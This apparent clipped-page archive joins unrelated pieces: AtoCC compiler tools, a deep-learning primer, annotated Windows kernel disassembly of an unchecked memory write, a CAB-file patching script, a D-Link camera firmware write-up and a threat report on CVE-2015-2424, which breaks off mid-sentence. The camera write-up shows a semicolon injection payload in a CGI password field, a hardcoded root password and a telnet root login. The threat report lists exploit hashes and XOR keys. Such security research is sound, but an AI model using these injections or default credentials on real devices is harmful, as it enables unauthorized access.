SchemeEdit bearbeiten und mit Petite Chez Scheme interpretieren können.  

# AutoEdit Workbook

Als Lernender können Sie mit AutoEdit Workbook selbstgesteuerte Übungen durchführen, indem Sie entsprechende Aufgaben lösen, die über einen Webserver bereitgestellt werden. Darüber hinaus können Übungsaufgaben erstellt und der Anwendergemeinde über AutoEdit Workbook zur Verfügung gestellt werden. |  <img src='http://www.atocc.de/atocc/AutoEdit.jpg' width='250' height='140' />  
---|---  
# kfG Edit

Mit kfG Edit können Sie kontextfreie Grammatiken erstellen, Beispielwörter
ableiten und sich entsprechende Ableitungsbäume ausgeben lassen. Die
Transformation einer Grammatik in einen Automaten oder einer VCC Definition
ist ebenfalls möglich.

# T-Diag

Verwenden Sie T-Diag um so genannte T-Diagramme für Compileranwendungen und
-entwicklungen zu erstellen. Übersetzungsprozesse können Diagramm-bezogen
automatisiert ausgeführt werden.

# VCC

Mit dem Visual Compiler Compiler können Sie eigene Compiler entwickeln und
anschließend in T-Diag verwenden. Sowohl Scanner als auch Parser werden dabei
in VCC definiert. Die Ausgabesprache kann wahlweise auf Pascal\(Delphi\), C\#,
Java oder Scheme eingestellt werden.

# SchemeEdit

Bearbeiten Sie Ihre Petite Chez Scheme Quellcodedateien in diesem benutzerfreundlichen Editor. |  <img src='http://www.atocc.de/atocc/TDiag.jpg' width='250' height='280' />  
---|---

# Deep Learning 101

**Created:**| _8/24/2014 8:23:44 PM_  
---|---  
**Updated:**| _8/24/2014 8:23:44 PM_  
**Author:**| __  
**Tags:**| _statistics_  
  

Deep learning has become something of a buzzword in recent years with the
explosion of 'big data', 'data science', and their derivatives mentioned in
the media. Justifiably, deep learning approaches have recently blown other
state-of-the-art machine learning methods out of the water for standardized
problems such as the MNIST handwritten digits dataset. My goal is to give you
a layman understanding of what deep learning actually is so you can follow
some of my thesis research this year as well as mentally filter out news
articles that sensationalize these buzzwords.

# Intro

<img src='img/Temp2_2058.jpg' alt='MNIST' /> \(source\)

Imagine you are trying to recognize someone's handwriting - whether they drew
a '7' or a '9'. From years of seeing handwritten digits, you automatically
notice the vertical line with a horizontal top section. If you see a closed
loop in the top section of the digit, you think it is a '9'. If it is more
like a horizontal line, you think of it as a '7'. Easy enough. What it took
for you to correctly recognize the digit, however, is an impressive display of
fitting smaller features together to make the whole - noticing contrasted
edges to make lines, seeing a horizontal vs. vertical line, noticing the
positioning of the vertical section underneath the horizontal section,
noticing a loop in the horizontal section, etc.

Ultimately, this is what deep learning or representation learning is meant to
do: discover multiple levels of features that work together to define
increasingly more abstract aspects of the data \(in our case, initial image
pixels to lines to full-blown numbers\). This post is going to be a rough
summary of two main survey papers:

  * Representation Learning: A Review and New Perspectives by Yoshua Bengio, Aaron Courville, and Pascal Vincent
  * Deep Learning of Representations: Looking Forward by Yoshua Bengio

# Why do we care about deep learning?

Current machine learning algorithms' performance depends heavily on the
particular features of the data chosen as inputs. For example, document
classification \(such as marking emails as spam or not\) can be performed by
breaking down the input document into bag-of-words or n-grams as features.
Choosing the correct feature representation of input data, or feature
engineering, is a way that people can bring prior knowledge of a domain to
increase an algorithm's computational performance and accuracy. To move
towards general artificial intelligence, algorithms need to be less dependent
on this feature engineering and better learn to identify the explanatory
factors of input data on their own.

Deep learning tries to move in this direction by capturing a 'good'
representation of input data by using compositions of non-linear
transformations. A 'good' representation can be defined as one that
disentangles underlying factors of variation for input data. It turns out that
deep learning approaches can find useful abstract representations of data
across many domains: it has had great commercial success powering most of
Google and Microsoft's current speech recognition, image classification,
natural language processing, object recognition, etc. Facebook is also
planning on using deep learning approaches to understand its users1. Deep
learning has been so impactful in industry that MIT Technology Review named it
as a top-10 breakthrough technology of 20132.

So how do you build a deep representation of input data? The central idea is
to learn a hierarchy of features one level at a time where the input to one
computational level is the output of the previous level for an arbitrary
number of levels. Otherwise, 'shallow' representations \(most current
algorithms like regression or svm\) go directly from input data to output
classification.

One good analogue for deep representations is neurons in the brain \(a
motivation for artificial neural networks\) - the output of a group of neurons
is agglomerated as the input to more neurons to form a hierarchical layer
structure. Each layer _N_ is composed of _h_ computational nodes that connect
to each computational node in layer _N+1_. See the image below for an example:  
<img src='img/Temp2_2062.jpg' alt='neural network layers' /> \(source\)

# Interpretations of representation learning

There are two main ways to interpret the computation performed by these
layered deep architectures:

  * **Probabilistic graphical models** have nodes in each layer that are considered as latent random variables. In this case, you care about the probability distribution of the input data _x_ and the hidden latent random variables _h_ that describe the input data in the joint distribution _p\(x,h\)_. These latent random variables describe a distribution over the observed data.
  * **Direct encoding \(neural network\) models** have nodes in each layer that are considered as computational units. This means each node _h_ performs some computation \(normally nonlinear like a sigmoidal function, hyperbolic tangent nonlinearity, or rectifier linear unit\) given its inputs from the previous layer.

To get started, principal component analysis \(PCA\) is a simple feature
extraction algorithm that can span both of these interpretations. PCA learns a
linear transform _h = f\(x\) = W T x + b_ where _W_ is a weight matrix for the
inputs _x_ and _b_ is a bias. The columns of the _d x  x dh _ matrix _W_ form
an orthogonal basis for the _d h _ orthogonal directions of greatest variance
in the input training data _x_. The result is _d h _ features that make
representation layer _h_ that are decorrelated.  
<img src='img/Temp2_2056.jpg' alt='PCA' /> \(source\)

From a probabilistic viewpoint, PCA is simply finding the principal
eigenvectors of the covariance matrix of the data. This means that you are
finding which features of the input data can explain away the most variance in
the data3.

From an encoding viewpoint, PCA is performing a linear computation over the
input data to form a hidden representation _h_ that has a lower dimensionality
than the data.

Note that because PCA is a linear transformation of the input _x_ , it cannot
really be stacked in layers because the composition of linear operations is
just another linear operation. There would be no abstraction benefit of
multiple layers. To form powerful deep representations, we will look at
stacking Restricted Boltzmann Machines \(RBM\) from a probability viewpoint
and nonlinear auto-encoders from a direct encoding viewpoint.

# Probabilistic models: restricted boltzmann machine \(RBM\)

A Boltzmann machine is a network of symmetrically-coupled binary random
variables or units. This means that it is a fully-connected, undirected graph.
This graph can be divided into two parts:

  1. The _visible_ binary units _x_ that make up the input data and 
  2. The _hidden_ or latent binary units _h_ that explain away the dependencies between the visible units _x_ through their mutual interactions.

<img src='img/Temp2_2054.jpg' alt='Boltzmann machine' />

\(A graphical representation of an example Boltzmann machine. Each undirected
edge represents dependency; in this example there are 3 hidden units and 4
visible units. source\)

Boltzmann machines describe this pattern of interaction through the
distribution over the joint space _\[x,h\]_ with the energy function:  
<img src='img/Temp2_2059.jpg' alt='Boltzmann energy function' />

Where the model parameters Θ are \{_U,V,W,b,d_ \}.

Trying to evaluate conditional probabilities over this fully connected graph ends up being an intractable problem. For example, computing the conditional probability of hidden variable given the visibles, _P_\(_h i _ | _x_\), requires marginalizing over all the other hidden variables. This would be evaluating a sum with 2 _d h  \- 1_ terms.
However, we can restrict the graph from being fully connected to only
containing the interactions between the visible units _x_ and hidden units
_h_.  
<img src='img/Temp2_2055.jpg' alt='restricted boltzmann' /> \(source\)

This gives us an RBM, which is a _bipartite_ graph with the visible and hidden units forming distinct layers. Calculating the conditional distribution _P_\(_h i _ | _x_\) is readily tractable and now factorizes to:   
<img src='img/Temp2_2061.jpg' alt='rbm eqn' />

Very successful deep learning algorithms stack multiple RBMs together, where
the hiddens _h_ from the visible input data _x_ become the new input data for
another RBM for an arbitrary number of layers.  
<img src='img/Temp2_2052.jpg' alt='stacked rbm' />

There are a few drawbacks to the probabilistic approach to deep architectures:

  1. The posterior distribution _P_\(_h i _ | _x_\) becomes incredibly complicated if the model has more than a few interconnected layers. We are forced to resort to sampling or approximate inference techniques to solve the distribution, which has computational and approximation error prices. 
  2. Calculating this distribution over latent variables still does not give a usable _feature vector_ to train a final classifier to make this algorithm useful for AI tasks. For example, we calculate all of these hidden distributions that explain the variations over the handwriting digit recognition problem, but they do not give a final classification of a number. Actual feature values are normally derived from the distribution, taking the latent variable's expected value, which are then used as the input to a normal machine learning classifier, such as logistic regression.

# Direct encoding models: auto-encoder

To get around the problem of deriving useful feature values, an auto-encoder
is a non-probabilistic alternative approach to deep learning where the hidden
units produce usable numeric feature values. An auto-encoder directly maps an
input _x_ to a hidden layer _h_ through a parameterized closed-form equation
called an _encoder_. Typically, this encoder function is a nonlinear
transformation of the input to _h_ in the form:

<img src='img/Temp2_2060.jpg' alt='encode' />

This resulting transformation is the _feature-vector_ or _representation_
computed from input _x_.

Conversely, a _decoder_ function is used to then map from this feature space
_h_ back to the input space, which results in a _reconstruction_ _x'_. This
decoder is also a parameterized closed-form equation that is a nonlinear
'undoing' the encoding function:

<img src='img/Temp2_2053.jpg' alt='decode' />

In both cases, the nonlinear function _s_ is normally an element-wise sigmoid,
hyperbolic tangent nonlinearity, or rectifier linear unit.

Thus, the goal of an auto-encoder is to minimize a loss function over the
reconstruction error given the training data. Model parameters Θ are
\{_W,b,W',d_ \}, with the weight matrix _W_ most often having 'tied' weights
such that _W' = W T _.

Stacking auto-encoders in layers is the same process as with RBMs:  
<img src='img/Temp2_2057.jpg' alt='stacked autoencoder' />

One disadvantage of auto-encoders is that they can easily memorize the
training data - i.e. find the model parameters that map every input seen to a
perfect reconstruction with zero error - given enough hidden units _h_. To
combat this problem, regularization is necessary, which gives rise to variants
such as sparse auto-encoders, contractive auto-encoders, or denoising auto-
encoders.

A practical advantage of auto-encoder variants is that they define a simple,
tractable optimization objective that can be used to monitor progress.

# Challenges and looking forward

Deep learning is currently a very active research topic. Many problems stand
in the way of reaching more general AI-level performance:

_Scaling computations_ \- the more complex the input space \(such as harder AI
problems\), the larger the deep networks have to be to capture its
representation. These computations scale much worse than linearly, and current
research in parallelizing the training algorithms and creating convolutional
architectures is meant to make these algorithms useful in practice.
Convolutional architectures mean that every hidden unit output to a layer does
not become the input for every other hidden unit in the next layer; they can
be restricted to only connect to other hidden units that are within the same
spatial area. Further, there are so many hyper-parameters for these algorithms
\(number of layers, hidden units, nonlinear functions, training procedures\)
that choosing them has become considered an 'art'.

_Optimization_ \- as the input datasets grow larger and larger \(growing
faster than the size of the models\), training error and generalization error
converge. Optimization difficulty during training of deep architectures comes
from both finding local minima and having ill-conditioning \(the two main
types of optimization difficulties in continuous optimization problems\).
Better optimization can have an impact on scaling computations, and is
interesting to study to obtain better generalization of the algorithms. Layer-
wise pretraining has helped immensely in recent years for optimization during
training deep architectures.

_Inference and sampling_ \- all probabilistic models except for the RBM
require a non-trivial form of inference \(guessing values of the latent
variables _h_ given the conditional distribution over _x_\). Inference and
sampling techniques can be slow during training as well as have difficulties
since the distributions can be incredibly complex and often have a very large
number of modes.

_Disentangling_ \- finding the 'underlying factors' that explain the input
data. Complex input data arise from the interaction of many interrelated
sources - such as lights casting shadows, object material properties, etc. for
image recognition. This would allow for very powerful cross-task learning,
leading to a representation that can 'zoom in' on the relevant features in the
learned representation given the current problem. Disentanglement is the most
ambitious challenge presented so far, as well as the one with the most far-
reaching impact towards more general AI.

# Conclusion

  * Deep learning is about creating an abstract hierarchical representation of the input data to create useful features for traditional machine learning algorithms. Each layer in the hierarchy learns a more abstract and complex feature of the data, such as edges to eyes to faces.
  * This representation gets its power of abstraction by stacking nonlinear functions, where the output of one layer becomes the input to the next.
  * The two main schools of thought for analyzing deep architectures are _probabilistic_ vs. _direct encoding_.
  * The probabilistic interpretation means that each layer defines a distribution of hidden units given the observed input, _P_\(_h_ | _x_\).
  * The direct encoding interpretation learns two separate functions - the _encoder_ and _decoder_ \- to transform the observed input to the feature space and then back to the observed space.
  * These architectures have had great commercial success so far, powering many natural language processing and image recognition tasks at companies like Google and Microsoft.

If you would like to learn more about the subject, check out this awesome hub
or Bengio's page\!

If you are inclined to use deep learning in code, Theano is an amazing open-
source Python package developed by Bengio's LISA group at University of
Montreal.

Update: HN discussion

# Windows Vuln \(?\)

**Created:**| _10/24/2013 9:02:15 AM_  
---|---  
**Updated:**| _10/24/2013 9:02:15 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit vulnerability LOLZ opinion_  
  

[code]

    .text:002CBC46 ; __stdcall NtGdiPATHOBJ_bEnum(x, x)
    .text:002CBC46 _NtGdiPATHOBJ_bEnum@8 proc near         ; DATA XREF: .data:0031BC08o
    .text:002CBC46
    .text:002CBC46 var_34          = dword ptr -34h
    .text:002CBC46 var_30          = dword ptr -30h
    .text:002CBC46 var_2C          = dword ptr -2Ch
    .text:002CBC46 var_28          = dword ptr -28h
    .text:002CBC46 var_24          = byte ptr -24h
    .text:002CBC46 var_20          = dword ptr -20h
    .text:002CBC46 var_1C          = dword ptr -1Ch
    .text:002CBC46 ms_exc          = CPPEH_RECORD ptr -18h
    .text:002CBC46 arg_0           = dword ptr  8
    .text:002CBC46 arg_4           = dword ptr  0Ch
    .text:002CBC46
    .text:002CBC46                 push    24h
    .text:002CBC48                 push    offset stru_31A158
    .text:002CBC4D                 call    __SEH_prolog4
    .text:002CBC52                 xor     ebx, ebx
    .text:002CBC54                 mov     [ebp+var_34], ebx
    .text:002CBC57                 mov     [ebp+var_30], ebx
    .text:002CBC5A                 mov     [ebp+var_2C], ebx
    .text:002CBC5D                 mov     esi, ebx
    .text:002CBC5F                 call    ds:__imp__PsGetCurrentThreadWin32Thread@0 ; PsGetCurrentThreadWin32Thread()
    .text:002CBC65                 mov     edi, [eax+20h]
    .text:002CBC68                 mov     [ebp+var_1C], edi
    .text:002CBC6B                 mov     [ebp+var_28], edi
    .text:002CBC6E                 mov     [ebp+var_24], bl
    .text:002CBC71                 lea     ecx, [ebp+var_28]
    .text:002CBC74                 call    ?bInit@UMPDENGCALL@UMPDOBJ@@QAE_NXZ ; UMPDOBJ::UMPDENGCALL::bInit(void)
    .text:002CBC79                 test    al, al
    .text:002CBC7B                 jnz     short loc_2CBC8F
    .text:002CBC7D
    .text:002CBC7D loc_2CBC7D:                             ; CODE XREF: NtGdiPATHOBJ_bEnum(x,x)+B0j
    .text:002CBC7D                 cmp     [ebp+var_24], bl
    .text:002CBC80                 jz      short loc_2CBC88
    .text:002CBC82                 mov     eax, [ebp+var_28]
    .text:002CBC85                 mov     [eax+10h], ebx
    .text:002CBC88
    .text:002CBC88 loc_2CBC88:                             ; CODE XREF: NtGdiPATHOBJ_bEnum(x,x)+3Aj
    .text:002CBC88                 xor     eax, eax
    .text:002CBC8A                 jmp     loc_2CBDA0
    .text:002CBC8F ; ---------------------------------------------------------------------------
    .text:002CBC8F
    .text:002CBC8F loc_2CBC8F:                             ; CODE XREF: NtGdiPATHOBJ_bEnum(x,x)+35j
    .text:002CBC8F                 push    [ebp+arg_0]
    .text:002CBC92                 mov     ecx, edi
    .text:002CBC94                 call    ??$GetDDIOBJ@U_PATHOBJ@@@UMPDOBJ@@QAEPAU_PATHOBJ@@PAU1@@Z ; UMPDOBJ::GetDDIOBJ<_PATHOBJ>(_PATHOBJ *)
    .text:002CBC99                 mov     ecx, eax
    .text:002CBC9B                 test    ecx, ecx
    .text:002CBC9D                 jz      loc_2CBD55
    .text:002CBCA3                 test    dword ptr [edi+0D0h], 100h
    .text:002CBCAD                 jz      short loc_2CBCE1
    .text:002CBCAF                 cmp     [ecx+8], ebx
    .text:002CBCB2                 jnz     short loc_2CBCE1
    .text:002CBCB4                 cmp     ?gfUMPDDebug@@3HA, ebx ; int gfUMPDDebug
    .text:002CBCBA                 jz      short loc_2CBCCE
    .text:002CBCBC                 push    0EF0h
    .text:002CBCC1                 push    offset aWindowsCore_36 ; "windows\\core\\ntgdi\\gre\\umpdeng.cxx:%d:N"... <---- oh thanks MS for such info ;)
    .text:002CBCC6                 call    ds:__imp__DbgPrint
    .text:002CBCCC                 pop     ecx
    .text:002CBCCD                 pop     ecx
    .text:002CBCCE
    .text:002CBCCE loc_2CBCCE:                             ; CODE XREF: NtGdiPATHOBJ_bEnum(x,x)+74j
    .text:002CBCCE                 mov     edi, [ebp+arg_4] second arg
    .text:002CBCD1                 mov     [edi+4], ebx <---- zeroing arbitrary memory!!! (no ProbeForWrite check!!!!!)
    .text:002CBCD4                 mov     [edi], ebx <----
    .text:002CBCD6                 mov     [edi+8], ebx <---- 
    
    reaching this code is an excercise for the reader ;)
[/code]

# Python Diary | Fun with Microsoft CAB files
**Created:**| _4/30/2012 2:26:42 PM_  
---|---  
**Updated:**| _4/30/2012 2:26:42 PM_  
**Author:**| __  
**Tags:**| _python Microsoft_  
  

## Sunday, April 1st, 2012

###  Fun with Microsoft CAB files

I wrote a previous blog entry on working with binary files, and thought I
would expand on this. This entry will focus on Microsoft's Cabinet format,
specifically for **Windows CE**. I recently obtained a Windows CE 7-based ARM
smartbook, and wanted to place Python on it. There is already a Python port
for Windows CE devices on the ARM processor, however, it is unmaintained and
the CAB file will only install on specific devices, namely nothing over CE
5.0, leaving CE 6.0 and 7.0 in the dark. I read on some forums that a piece of
commercial software can edit the CAB files setup information to allow it to
install. I thought, hmmm, well using commercial software is an end-users
solution, not a programmers. So I went to work and learned as much as I can
about the Cabinet format. Thankfully, Microsoft has opened the format to
developers, making it really easy to understand how to work with it's format.
First I constructed a reader to confirm that it was able to read the data
correctly and provide me with the relevant information from the setup
configuration for Windows CE. Here is the read script in Python for Cabinet
files:

[code]

    from struct import *
    import sys
    
    f = open('PythonCE-25-20061219.PPC2003_ARM.CAB','rb')
    print "CAB Signature: %s\n" % f.read(4)
    cabhdr = unpack('iiiiibbhhhhh',f.read(32))
    print "Offset of CFFILE entry: %d\n" % cabhdr[3]
    print "CAB Version: %d.%d\n" % (cabhdr[6],cabhdr[5])
    print "Total folders: %d\n" % cabhdr[7]
    print "Total files: %d\n" % cabhdr[8]
    if cabhdr[9] > 3:
    	print "CAB9 > 3"
    	resv = unpack('hbb',f.read(4))
    
    cabflr = unpack('ihh',f.read(8))
    print "Offset of first file: %d\n" % cabflr[0]
    print "Compression used: %d\n" % cabflr[2]
    if cabflr[2] > 0:
    	print "Unable to work with this type of compression, exiting.\n\n"
    	sys.exit()
    
    f.seek(cabflr[0])
    cfdata = unpack('iHH',f.read(8))
    print "Checksum: %d\n" % cfdata[0]
    print "Size of compressed bytes: %d\n" % cfdata[1]
    print "Size of uncompressed bytes: %d\n" % cfdata[2]
    print "Exact position of first file: %d\n" % f.tell()
    
    print "WinCE CAB Header: %s\n" % f.read(4)
    cehdr = unpack('iiiiiiiiiii',f.read(44))
    print "Target Arch: %d\n" % cehdr[4]
    print "Minimum Windows CE Version: %d.%d\n" % (cehdr[5],cehdr[6])
    print "Maximum Windows CE Version: %d.%d\n" % (cehdr[7],cehdr[8])
    print "Minimum Buld number: %d.%d\n" % (cehdr[9],cehdr[10])
    f.close()
    
[/code]

After which I noticed, I didn't require the **\n** characters to make an end-
of-line, so everything is a little spaced out. This is very basic and rough
copy I made in about an hour of research and testing. But it works, and that's
what matters. It tells me what's wrong with the CAB file and why it cannot
install on my particular device. It confirms that it can read the file, for I
can run this next script against it to change the required attributes to make
it install on my device:

[code]

    from struct import *
    import sys
    
    f = open('PythonCE-25-20061219.PPC2003_ARM.CAB','r+b')
    print "CAB Signature: %s\n" % f.read(4)
    cabhdr = unpack('iiiiibbhhhhh',f.read(32))
    cabflr = unpack('ihh',f.read(8))
    if cabflr[2] > 0:
    	print "Unable to work with this type of compression, exiting.\n\n"
    	sys.exit()
    f.seek(cabflr[0])
    cfdata = unpack('ihh',f.read(8))
    print "Checksum: %d\n" % cfdata[0]
    print "Writing new checksum..."
    f.seek(cabflr[0])
    f.write(pack('ihh',0,cfdata[1],cfdata[2]))
    print "done.\n"
    f.seek(cabflr[0])
    cfdata = unpack('ihh',f.read(8))
    print "New Checksum: %d\n" % cfdata[0]
    offset = f.tell()
    print "WinCE CAB Header: %s\n" % f.read(4)
    cehdr = unpack('iiiiiiiiiii',f.read(44))
    print "Writing new minimum/maximum versions requirements..."
    f.seek(offset+20)
    f.write(pack('iiiiiii',0,0,0,0,0,0,0))
    print "Done! closing file..."
    f.close()
    print "All done.!\n\n"
    
[/code]

There you have it\! Why rely on some commercial software when you are in fact
a programmer and can build it yourself within a matter of hours. Mind you, the
commercial software does come with a lot of resources to build new CAB files
for WinCE devices, but with a little research, a script that can build one can
also be made in a matter of days to weeks.

# newsoft's tech blog: D-Link DCS-2121 and the state of embedded security

**Created:**| _9/13/2011 12:39:00 PM_  
---|---  
**Updated:**| _9/14/2011 9:10:06 AM_  
**Author:**| __  
**Tags:**| _Embedded zeroday Linux vulnerability_  
  

## Monday, September 27, 2010

###  D-Link DCS-2121 and the state of embedded security

**Introduction**  
  
I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:  

  * Megapixel camera + microphone + speaker
  * WiFi, UPnP and dynamic DNS supported
  * Web and Mobile Web access to streaming data
  * Motion detection
  * SDCard recording

It is also an embedded system running Linux operating system; therefore I
decided to have a look at it ;\) A firmware upgrade is available here
\(version 1.04 at the time of writing\), which is very convenient for further
analysis.  
  
**Firmware analysis**  
  
$ wget http://www.dlink.com.sg/support/Support\_download.asp?idsupport=745  
\(...\)  
  
$ unzip dcs-2121\_fw\_1.04\_3227.zip  
Archive: dcs-2121\_fw\_1.04\_3227.zip  
inflating: DCS-2102\_DCS-2121\_A1\_FW\_1.04\_3227.bin  
inflating: DCS-2121\_A1\_Release Note\_forFW1.04-3227.txt  
  
$ file DCS-2102\_DCS-2121\_A1\_FW\_1.04\_3227.bin  
DCS-2102\_DCS-2121\_A1\_FW\_1.04\_3227.bin: POSIX shell script text executable  
  
Yes, firmware is … a shell script file\! In fact, this file is broken into two
parts:  

  * A shell script
  * A binary blob

<img src='img/Temp2_10494.png' />

  
The shell script is very small - interesting parts are the following:  
  
\(...\)  
BLOCKS="norboot.bin\(0x10000,65536\),vmlinuz\(0x60000,1048576\),cram\_image\(0x160000,0x5E0000\),autoboot.bin\(0x2000,8192\)"  
\(...\)  
extract\(\) \{  
\# tarLine will be replaced with a real number by Makefile  
tail -n +153 "$1"  
\}  
\(...\)  
extract "$self" | ddPack - || exit 1  
\(...\)  
  
"ddPack" is a custom application. Nevertheless we gained some insights about
memory layout, and we know that a CramFS filesystem is used.  
  
CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the
firmware \(beware of endianness\). Actual offset may vary - depending of the
firmware localization \(D-Link provides regional builds of the same version\).  
  
$ dd if=DCS-2102\_DCS-2121\_A1\_FW\_1.04\_3227.bin of=cramfs bs=1138213 skip=1  
5+1 records in  
5+1 records out  
6168576 bytes \(6.2 MB\) copied, 0.0210627 s, 293 MB/s  
  
  
$ file cramfs  
cramfs: Linux Compressed ROM File System data, little endian size 5791744
version \#2 sorted\_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files  
  
  
$ sudo mount -o loop,ro cramfs /mnt/loop/  
ls /mnt/loop/  
bin dev etc lib linuxrc mnt opt proc sbin scripts tmp usr var  
  
We now have full read access to the firmware, which leads to interesting
discoveries. According to copyright strings, the camera itself is built around
the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are
calling eval\(\) with user-supplied parameters. There is also a promising
"/var/www/cgi/admin/telnetd.cgi" script :\)  
  
\#\!/bin/sh  
  
  
\# get current setting from tdb  
\# format looks like VariableName\_type  
onGetSetting\(\) \{  
result=""  
\}  
  
  
\# make sure, ...  
\# 1. $result is set  
\# 2. variables in dumpXml are all set  
onUpdateSetting\(\) \{  
result="ok"  
if \[ "$command" = "on" \]; then  
/usr/sbin/telnetd 1>/dev/null 2>/dev/null  
else  
killall telnetd 1>/dev/null 2>/dev/null  
fi  
\}  
  
  
onDumpXml\(\) \{  
xmlBegin index.xsl home-left.lang index.lang  
resultTag $result  
xmlEnd  
\}  
  
  
scenario=$\(basename $0 | cut -d'.' -f1\)  
  
  
. ../../xmlFunctions.sh  
. ../../cgiMain.sh  
  
However we are going to focus on a very specific bug: "semicolon injection".
In my experience, this bug plagues all and every Linux-based embedded devices,
ranging from the OrangeBox \(now dead link\) to DD-WRT. Let's look for
compiled CGI that might be calling system\(\).  
  
var/www/cgi/admin$ fgrep system \*  
Binary file adv\_audiovideo.cgi matches  
Binary file adv\_godev.cgi matches  
Binary file adv\_sdcard.cgi matches  
Binary file calibration.cgi matches  
Binary file export.cgi matches  
Binary file go\_sleep.cgi matches  
Binary file import.cgi matches  
Binary file netWizard.cgi matches  
Binary file pt8051\_settings.cgi matches  
Binary file pt\_settings.cgi matches  
Binary file reboot.cgi matches  
Binary file recorder\_status.cgi matches  
Binary file recorder\_test.cgi matches  
Binary file reset.cgi matches  
Binary file rs485\_control.cgi matches  
Binary file tools\_admin.cgi matches  
Binary file tools\_system.cgi matches  
Binary file wireless\_ate.cgi matches  
  
Let's focus on those files, and look for possibly unsecure calls.  
  
$ strings -f \* | grep "%s"  
adv\_godev.cgi: TinyDBError %s  
adv\_sdcard.cgi: rm -rf "%s"  
adv\_sdcard.cgi: %s/video  
adv\_sdcard.cgi: mkdir -m 0777 %s/video  
adv\_sdcard.cgi: find "%s" -type f -name "\*" |wc -l  
pt\_settings.cgi: TinyDBError %s  
recorder\_test.cgi: TinyDBError %s  
recorder\_test.cgi: umount %s  
recorder\_test.cgi: mkdir -p %s  
recorder\_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s  
recorder\_test.cgi: touch %s  
rs485\_control.cgi: TinyDBError %s  
rs485\_control.cgi: RS485PresetControl::%s\(\), unexpected command  
  
So … "recorder\_test.cgi" potentially calls **system\( "smbmount //%s/%s %s -o
username=%s,password=%s"\)** … Let's see if "password" parameter is properly
escaped.  
  
<img src='img/Temp2_10493.png' />  
---  
Try \#1 with password "toto". Command result is "mntFailure".  
<img src='img/Temp2_10492.png' />  
---  
Try \#2 with password "toto;/bin/true". Command result is "ok" :\)  
  
It is now time to start that "/usr/sbin/telnetd" server :\) But wait ... what
is "root" password ?  
  
"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and
"/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local"
script.  
  
\(...\)  
  
start\(\) \{  
touch /tmp/group /tmp/passwd /tmp/shadow  
echo 'root:x:0:' > /etc/group  
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd  
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow  
\#telnetd > /dev/null 2> /dev/null  
/bin/agent &  
\#/sbin/syslogd  
addlog System is booted up.  
echo "rc.local start ok."  
\}  

\(...\)

  

So ... "root" password is hardcoded to "admin". How cool is that ? ;\)

  

$ telnet 192.168.0.117 23

  

DCS-2121 login: root

Password: admin

  

BusyBox v1.01 \(2009.07.27-09:19+0000\) Built-in shell \(ash\)

Enter 'help' for a list of built-in commands.

  

~ \# uname -a

uname -a

Linux DCS-2121 2.4.19-pl1029 \#1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown

  
  
**Conclusion**  
  
As often with Linux-based embedded firmwares, a trivial "semicolon injection"
bug can be found with no reverse-engineering - grep is the only tool you need
to reproduce this case at home.  
  
Disclaimer \(for not-so-funny people\): yes this is "0day", unreported to the
vendor. I even suspect the whole D-Link product line is vulnerable to the same
bug \(if not the whole world of low-end embedded systems \(and even business
class products\)\). However, since Web access requires authentication, this
bug might be exploitable by administrators only, so it is only useful for
people who would like to gain a shell on their own systems. Do not panic :\)  
  
  
Bonus: how to find D-Link cameras on the Internet.

# Microsoft Office Zero-Day CVE-2015-2424 Leveraged By Tsar Team - iSIGHT
Partners

**Created:**| _7/17/2015 10:06:41 AM_  
---|---  
**Updated:**| _7/17/2015 10:06:41 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

**iSIGHT Discovers CVE-2015-2024**

Yesterday, Microsoft patched CVE-2015-2424, a vulnerability in Microsoft
Office discovered by iSIGHT Partners while monitoring the Russian cyber
espionage team we call Tsar Team. When we found the exploit it appeared to be
under development and evidence suggests it was deployed in Georgia. Following
discovery, we alerted our customers and began working with Microsoft through
the responsible disclosure process.

CVE-2015-2424 is the latest of several zero-days deployed by Tsar Team in
recent weeks. In addition to quickly adopting exploits released when the
operations of Hacking Team were publicly exposed, Tsar Team has also been tied
to a Java zero-day which was just patched. This underscores the threat posed
by these operators, who have been tied to at least two other zero-days as
recently as April.

<img src='img/Temp2_5365.png' width='264' height='300' alt='tsar-team-
seal.png' />**Heap Corruption Vulnerability Exploited to Deliver Sofacy**

The zero-day vulnerability is a heap corruption vulnerability which is
triggered during processing of a malformed Microsoft Forms Image. Office 2013
SP1 and prior versions appear to have this vulnerability. Microsoft patched
the vulnerability in MS15-070.

Upon successful execution of the exploit document, “Iran\_nuclear\_talks.rtf”
\(MD5: 112c64f7c07a959a1cbff6621850a4ad\), a dropper payload is written and
executed on the victim’s system which in turn drops a Sofacy malware payload.
Based on several artifacts in the exploit document and the unreliability of
successful exploitation when running the exploit document, iSIGHT Partners
believes the exploit document was potentially hastily thrown together, or the
exploit is still being developed to be more reliable. Lure content is decoded
and appears to overwrite the original exploit document as a method of hiding
tracks. The data embedded in the exploit document, both payload and lure
content, are XOR encoded using a 21-byte XOR key:
0xB1CF638F3F7EACECB041D2405CF193921CAD62018E

Within the exploit document is an embedded OLE object that triggers the
vulnerability. Interestingly the actors use a shellcode marker of “t00tt00t”
to designate where the overflow characters end and shellcode beings \(Figure
1\).

<img src='img/Temp2_5361.png' width='556' height='264'
alt='figure-1-t00tt00t-shellcode-marker1' />

_Figure 1: “t00tt00t” Shellcode marker_

The dropped Sofacy payload decodes configuration values and strings of
interest at runtime using a 11-byte XOR key: 0x1A1C7867243D661A5B5C41

Figure 2 shows the beginning of the encoded configuration statically stored in
the payload, and Figure 3 shows the results once the configuration is decoded.

<img src='img/Temp2_5362.png' width='680' height='218' alt='figure-2-encoded-
config-rdata' />

_Figure 2: Encoded Configuration in rData_

_<img src='img/Temp2_5364.png' width='762' height='342' alt='figure-3-decoded-
c-and-c-config' />_

_Figure 3: Decoded C &C Configuration section_

_Files Dropped_

Upon successful execution of the CVE-2015-2424 exploit document
